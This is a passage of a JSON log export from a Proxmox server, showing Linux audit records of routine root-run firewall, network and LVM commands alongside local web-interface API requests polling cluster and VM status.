uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125424,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.424:59684): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965495002,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.002:65840): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d15cccd0 a1=64f8d6857380 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965739124,"@rawstring":"node=pve type=EXECVE msg=audit(1781965739.124:66898): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966339810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965425517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.517:65548): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125419,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.419:59683): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.210:65839): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735908,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.908:66895): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966339810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.512:65547): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125413,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.413:59682): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965493.193:65836): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.904:66894): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966339810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.504:65546): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d8f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.407:59681): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.183:65833): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.904:66893): argc=1 a0=\"date\""} {"@timestamp":1781966337888,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965425496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.496:65545): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964124223,"@rawstring":"node=pve type=EXECVE msg=audit(1781964124.223:59680): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.177:65830): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735899,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.899:66891): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966337888,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965424186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965424.186:65544): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dbd70 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964124188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964124.188:59679): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965485657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.657:65827): arch=c000003e syscall=59 success=yes exit=0 a0=5f06d90d7b20 a1=5f06d90e3a30 a2=5f06d90b1680 a3=5 items=2 ppid=63223 pid=63229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735893,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.893:66890): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966336904,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965424164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965424.164:65543): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7418350 a1=64f8d73c6a30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964123011,"@rawstring":"node=pve type=EXECVE msg=audit(1781964123.011:59678): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965485653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.653:65826): arch=c000003e syscall=59 success=yes exit=0 a0=5f069b6f8ac8 a1=7ffe6de82430 a2=5f06d90b1680 a3=5f069b6dc24e items=2 ppid=63223 pid=63225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735885,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.885:66889): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966336904,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.949:65542): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964122999,"@rawstring":"node=pve type=EXECVE msg=audit(1781964122.999:59675): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965485650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.650:65825): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6de823f0 a1=5f06d90d31c0 a2=5f06d90b1680 a3=5 items=2 ppid=63223 pid=63224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735877,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.877:66888): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966335785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965422.941:65539): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964117990,"@rawstring":"node=pve type=EXECVE msg=audit(1781964117.990:59672): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965485644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.644:65823): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735868,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.868:66887): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966335785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965420.439:65536): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee7252bc0 a2=637ee7240ef0 a3=8 items=2 ppid=62948 pid=62950 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964117981,"@rawstring":"node=pve type=EXECVE msg=audit(1781964117.981:59669): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965485638,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.638:65822): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735862,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.862:66885): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966335785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965420.439:65535): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252f60 a1=637ee7252fd0 a2=637ee7240ef0 a3=8 items=2 ppid=62948 pid=62949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115395,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.395:59666): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965485630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.630:65821): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0deaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.855:66884): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966334776,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781965420438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965420.438:65534): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ea0 a1=637ee7252ec0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=62947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115393,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.393:59665): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965485623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.623:65820): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b5b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735847,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.847:66883): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966334776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.931:65533): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115392,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.392:59664): argc=1 a0=\"date\""} {"@timestamp":1781965485614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.614:65819): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735840,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.840:66882): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966333743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.925:65530): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115388,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.388:59662): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965485612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.612:65818): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b9de8714740 items=0 ppid=1156 pid=63218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965735833,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.833:66881): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966333743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.486:65527): arch=c000003e syscall=59 success=yes exit=0 a0=64eb9cce50a0 a1=64eb9cce1e20 a2=64eb9ccc3680 a3=5 items=2 ppid=62938 pid=62944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115381,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.381:59661): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965485608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.608:65817): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138c20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.828:66880): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966331749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965415481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.481:65526): arch=c000003e syscall=59 success=yes exit=0 a0=64eb9c9bcac8 a1=7ffec8bc8590 a2=64eb9ccc3680 a3=64eb9c9a024e items=2 ppid=62938 pid=62940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115375,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.375:59660): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965485603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.603:65816): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735819,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.819:66879): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966331749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965415480,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.480:65525): arch=c000003e syscall=59 success=yes exit=0 a0=7ffec8bc8550 a1=64eb9ccca310 a2=64eb9ccc3680 a3=5 items=2 ppid=62938 pid=62939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115369,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.369:59659): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965485597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.597:65815): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ba80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735812,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.812:66878): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966331749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.475:65523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115362,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.362:59658): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965485588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.588:65814): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135ec0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735807,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.807:66877): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966331749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.467:65522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115357,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.357:59656): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965485583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.583:65813): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ba80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735804,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.804:66876): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966330769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965415460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.460:65521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115351,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.351:59655): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965485576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.576:65812): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 